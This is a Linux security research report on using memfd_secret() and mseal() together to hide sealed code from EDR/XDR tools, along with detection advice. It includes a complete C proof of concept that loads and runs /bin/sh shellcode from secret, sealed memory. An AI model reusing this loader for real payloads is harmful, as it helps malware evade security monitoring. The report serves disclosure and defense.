Date: July 9, 2025 · Author: BoxStrike Research Team · Version: 1.0
The Linux kernel has introduced numerous new system calls in recent years
to improve memory security and anti‑exploitation capabilities. Two of these
— memfd_secret() (Linux 5.14) and mseal()
(Linux 6.10) — were designed for legitimate security use cases. However,
when combined, they create an unexpected and powerful Defense Evasion
technique.
This report provides an in‑depth technical analysis of both system calls, their architectural principles, and how an attacker can abuse them together. It also includes a fully functional Proof‑of‑Concept (PoC) and two concrete proposals (blocking and controlled read) submitted to the Linux kernel development community.
memfd_secret() and
mseal() can be called by ordinary (unprivileged) users,
which significantly increases the severity of the threat.
memfd_secret() – Hiding Memory from the Kernel
memfd_secret() was introduced in Linux 5.14. Its primary
purpose is to allow a userspace process to create a memory region that
is inaccessible to anyone — including the kernel itself. This is ideal
for protecting sensitive data such as cryptographic keys, private keys,
or other highly confidential information.
Step‑by‑step operation:
memfd_secret() creates an anonymous file that does
not correspond to any real file on disk and returns a file
descriptor (fd) to that file.ftruncate() and
then mapped into the process’s address space with
mmap().As a result:
copy_from_user() cannot
operate on it.get_user_pages() (GUP) cannot obtain references to
these pages./proc/<pid>/mem or ptrace
cannot read it.bpf_probe_read_user() will fail
with EFAULT.| Feature | Description |
|---|---|
| Linux version | 5.14+ (x86_64, ARM64, etc.) |
| Privilege required | None – any user can call it |
| Activation | Before 6.5, secretmem.enable=1 needed; 6.5+ enabled by default |
| Memory limit | Subject to RLIMIT_MEMLOCK; never swapped out |
| Blocked access paths | Kernel, GUP, DMA, eBPF reads, /proc/pid/mem, ptrace |
mseal() – Sealing a Memory Region
mseal() was introduced in Linux 6.10. Its main goal is to
protect a virtual memory area (VMA) against future modifications. This
is an exploitation mitigation designed to prevent attackers from changing
memory protection bits (mprotect) or moving/removing the
region (mremap/munmap).
How it works:
mseal(start, len, flags) targets VMAs within the
specified address range.VM_SEALED
flag is added to the vm_flags field of each targeted
VMA. (On 64‑bit systems, this is typically bit 63.)mprotect() and pkey_mprotect() – changing protection flagsmunmap() – unmapping the regionmremap() – moving or resizing the regionmmap(MAP_FIXED) – overwriting the sealed regionmadvise() operations (e.g., MADV_DONTNEED)| Feature | Description |
|---|---|
| Linux version | 6.10+ |
| Privilege required | None |
| Protection mechanism | VM_SEALED flag on VMA |
| Blocked operations | mprotect, munmap, mremap, mmap(MAP_FIXED), some madvise |
Individually, memfd_secret() and mseal() are
legitimate and useful security features. However, when combined, they
create an unexpected and powerful Defense Evasion technique.
memfd_secret() cannot be read by EDR/XDR tools
using eBPF, /proc/pid/mem, or ptrace —
even the kernel cannot see it.mseal() prevents the
region from being modified (mprotect), unmapped
(munmap), or moved (mremap). Even a
privileged (root) process cannot alter it.This creates a blind spot for current security products. An attacker can place their shellcode (or any malicious payload) into this hidden, sealed region within their own process, effectively bypassing EDR/XDR detection while also preventing any later modification or removal of the payload.
The following fully functional PoC demonstrates the technique in action.
It creates a secret memory region using memfd_secret(),
copies a execve("/bin/sh") shellcode into it,
seals the region with mseal(), and finally executes the
shellcode. The result is a shell that runs from memory invisible to
EDR/AV solutions.
secret_shellcode_poc.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <errno.h>
#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif
// x86_64 shellcode: execve("/bin/sh", NULL, NULL)
unsigned char shellcode[] = {
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, // mov rbx, /bin//sh
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0xb0, 0x3b, // mov al, 59
0x0f, 0x05 // syscall
};
int main() {
int fd;
void *addr;
// 1. Create a secret file with memfd_secret
fd = syscall(__NR_memfd_secret, 0);
if (fd == -1) {
perror("memfd_secret");
return 1;
}
// 2. Map the memory (read-write-execute)
addr = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
// 3. Copy the shellcode into the secret region
memcpy(addr, shellcode, sizeof(shellcode));
// 4. Seal the region (optional; requires Linux 6.10+)
if (syscall(__NR_mseal, addr, sizeof(shellcode), 0) == -1) {
perror("mseal (warning, continuing)");
} else {
printf("[+] Shellcode sealed.\n");
}
printf("[+] Shellcode is in secret memory, executing...\n");
// 5. Execute the shellcode
((void (*)())addr)();
// Should never reach here (shellcode spawns a shell)
return 0;
}
Compilation and execution:
gcc -o secret_shellcode_poc secret_shellcode_poc.c
./secret_shellcode_poc
When executed, the program creates the secret region, copies the
shellcode, seals it (if the kernel is 6.10+), and then spawns a
/bin/sh shell. This shell runs from a memory region
that is invisible to EDR/AV tools.
/proc/<pid>/maps and see
the region marked as [secretmem]. Attempting to read it
with eBPF will fail with EFAULT.
The following diagram summarises the step‑by‑step execution flow of the technique:
memfd_secret() +
mseal() combination.
The following measures are recommended to detect and prevent this technique:
auditd or LSM hooks to monitor
memfd_secret() and mseal() calls. These
are rarely used in normal processes and can serve as high‑confidence
indicators.memfd_secret()
system‑wide with secretmem.enable=0 (beware of breaking
legitimate use cases).memfd_secret() followed by mseal() from
the same process.CAP_BPF + CAP_SYS_ADMIN to read these regions for
legitimate monitoring purposes.
The BoxStrike Research Team has identified that combining the
memfd_secret() and mseal() system calls —
both designed as security features — creates a novel and powerful
Defense Evasion technique on Linux. This technique requires no root
privileges and allows an attacker to place malicious code in a memory
region that is unreadable and unmodifiable by EDR/XDR tools.
Our findings have been submitted to the Linux kernel development community with two concrete proposals (A – blocking, B – controlled read). Although no real‑world adversary use has been observed yet, the potential for exploitation is high. System administrators and security teams are advised to implement the countermeasures outlined above.
memfd_secret() Prototype and Return Values
int memfd_secret(unsigned int flags);
0 is accepted;
reserved for future extensions.-1
with errno set on error.ENOSYS (architecture not
supported), ENOMEM (memory exhaustion),
EPERM (disabled by system).mseal() Prototype and Return Values
int mseal(unsigned long start, size_t len, unsigned long flags);
0 is accepted.0 on success, -1
with errno set on error.EINVAL (invalid parameter),
ENOMEM (gap in range or invalid address),
EPERM (sealing not permitted).mm/secretmem.c, mm/mseal.c| Version | Date | Description |
|---|---|---|
| 1.0 | July 9, 2025 | Initial release. Includes finding description, technical background, full PoC, architectural diagram, and proposals. |
| — | — | Future updates: Linux community feedback, new PoC variations, improved detection methods. |